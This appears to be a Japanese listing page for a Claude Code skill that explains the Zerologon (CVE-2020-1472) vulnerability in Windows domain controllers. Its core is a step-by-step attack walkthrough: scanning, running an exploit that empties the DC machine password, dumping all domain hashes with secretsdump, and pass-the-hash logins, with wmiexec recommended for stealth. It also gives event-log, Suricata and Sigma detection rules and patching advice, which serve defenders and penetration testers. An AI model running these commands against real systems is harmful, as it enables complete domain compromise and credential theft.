exploiting-zerologon-vulnerability-cve-2020-1472 について
Zerologon(CVE-2020-1472)について、許可を得たセキュリティテスターや分析者向けに、未修正のドメインコントローラーへの影響、検知、防御を解説するスキルです。脆弱性の確認、攻撃手順、パスワード復旧を扱い、許可されたテストまたは管理環境での利用を想定しています。
主な機能
- 01脆弱性の原因と影響対象の解説
- 02ドメインコントローラーの確認
- 03悪用と DCSync の手順
- 04ログとネットワークの検知情報
- 05パッチ適用と防御策
活用シーン
- 01許可されたレッドチーム演習での検証
- 02管理環境での攻撃痕跡の分析
- 03Zerologon 検知機能の構築
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-zerologon-vulnerability-cve-2020-1472インストール後、Claude Code で/exploiting-zerologon-vulnerability-cve-2020-1472を入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
Zerologon 脆弱性の悪用(CVE-2020-1472)
概要
Zerologon(CVE-2020-1472)は、Microsoft Netlogon Remote Protocol(MS-NRPC)における重大な権限昇格の脆弱性(CVSS 10.0)です。この欠陥は、AES-CFB8 モードの暗号実装にあり、初期化ベクトル(IV)が誤ってすべてゼロに設定されています。これにより、ドメインコントローラーにネットワークアクセスできる未認証の攻撃者が Netlogon セッションを確立し、DC のマシンアカウントのパスワードを空にリセットして、ドメインを完全に侵害できます。Microsoft は 2020 年 8 月にこの脆弱性に対するパッチを適用しました(KB4571694)。
使用する場面
- Zerologon 脆弱性 cve 2020 1472 の悪用を伴う、許可を得たセキュリティテストを実施する場合
- 管理された環境でマルウェアサンプルや攻撃の痕跡を分析する場合
- レッドチーム演習やペネトレーションテストを実施する場合
- 攻撃手法の理解に基づいて検知機能を構築する場合
前提条件
- ドメインコントローラーへのネットワークアクセス(TCP ポート 135 および動的 RPC ポート)
- 認証は不要です(未認証のエクスプロイト)
- 対象の DC で 2021 年 2 月の強制モードが有効になっていないこと
- Impacket ツールキットがインストールされていること
- レッドチーム業務の書面による許可
法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用してください。所有していないシステム、またはテストする書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター不正利用に関する法律に違反する可能性があります。
MITRE ATT&CK マッピング
| 手法 ID | 名前 | 戦術 |
|---|---|---|
| T1068 | 権限昇格のための悪用 | 権限昇格 |
| T1210 | リモートサービスの悪用 | ラテラルムーブメント |
| T1003.006 | OS 認証情報のダンプ:DCSync | 認証情報アクセス |
| T1078.002 | 有効なアカウント:ドメインアカウント | 永続化 |
脆弱性の技術的詳細
根本原因
Netlogon 認証プロトコルでは、クライアントチャレンジとサーバーチャレンジを使用した AES-CFB8 暗号化が使われています。この脆弱性は、次の理由で発生します。
- IV が16 バイトのゼロにハードコードされています
- 平文が8 バイトのゼロの場合、AES-CFB8 は256 分の 1の確率ですべてゼロの暗号文を生成します
- 攻撃者は約 256 回の認証試行を送信することで(約 3 秒かかります)、成功できます
影響を受けるシステム
- Windows Server 2008 R2 から Windows Server 2019
- パッチ未適用の Netlogon サービスを実行しているすべてのドメインコントローラー
- Samba バージョン 4.8 未満(AD DC として実行している場合)
ステップ 1:脆弱なドメインコントローラーを特定する
# Scan for domain controllers
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24
# Check if DC is vulnerable using zerologon checker
python3 zerologon_tester.py DC01 10.10.10.1
# Using CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon
ステップ 2:Zerologon を悪用する
# Using Impacket's CVE-2020-1472 exploit
# This sets the DC machine account password to empty
python3 cve_2020_1472.py DC01$ 10.10.10.1
# Expected output:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string
ステップ 3:空のパスワードで DCSync を実行する
# Use the empty hash to perform DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\[email protected]
# Output includes all domain hashes:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::
# Alternatively, dump specific accounts
secretsdump.py -no-pass corp.local/DC01\[email protected] \
-just-dc-user Administrator
ステップ 4:ドメイン管理者アクセスを取得する
# Pass the Hash with Administrator NTLM
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/[email protected]
# Or use wmiexec for stealthier access
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/[email protected]
ステップ 5:マシンアカウントのパスワードを復元する(重要)
警告:Zerologon を悪用すると、DC のマシンアカウントのパスワードが空になり、Active Directory のレプリケーションとサービスが停止します。必ず復元してください。
# Method 1: Use the exploit's restore functionality
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
-hexpass <original_hex_password>
# Method 2: Force machine account password change from DC
# Connect to DC as Administrator and run:
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*
# Method 3: Restart the DC (it will auto-regenerate machine password)
# This is the safest method but causes downtime
検知
Windows イベントログ
Event ID 4742: A computer account was changed
- Look for: DC$ account with password change
- Anomaly: Multiple 4742 events for DC$ in short period
Event ID 5805: Netlogon authentication failure
- Multiple failures followed by success = Zerologon attempt
Event ID 4624 (Type 3): Network logon
- DC$ account logging in from unexpected IP
ネットワーク検知
# Suricata rule for Zerologon
alert dcerpc any any -> any any (
msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
flow:established,to_server;
dce_opnum:4;
content:"|00 00 00 00 00 00 00 00|";
sid:2030870;
rev:1;
)
Sigma ルール
title: Zerologon Exploitation Attempt
status: stable
logsource:
product: windows
service: system
detection:
selection:
EventID: 5805
LogonType: 3
timeframe: 5m
condition: selection | count(EventID) > 100
level: critical
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2020.1472
防御に関する推奨事項
- 直ちにパッチを適用する - KB4571694(2020 年 8 月)を適用し、2021 年 2 月のモードを強制する
- レジストリで強制モードを有効にする:
FullSecureChannelProtection = 1 - イベント ID 5805 を監視する - Netlogon の失敗が繰り返し発生していないか確認する
- Microsoft Defender for Identity を導入する(Zerologon を自動的に検知します)
- ネットワークをセグメント化する - ユーザーネットワークから DC への直接アクセスを制限する
- 可能な場合は、DC 以外のシステムからの Netlogon RPC をブロックする
References
- CVE-2020-1472: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472
- Secura Whitepaper: https://www.secura.com/blog/zero-logon
- CrowdStrike Advisory: https://www.crowdstrike.com/blog/cve-2020-1472-zerologon-security-advisory/
- CISA Alert AA20-283A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-283a
- Microsoft Enforcement: https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24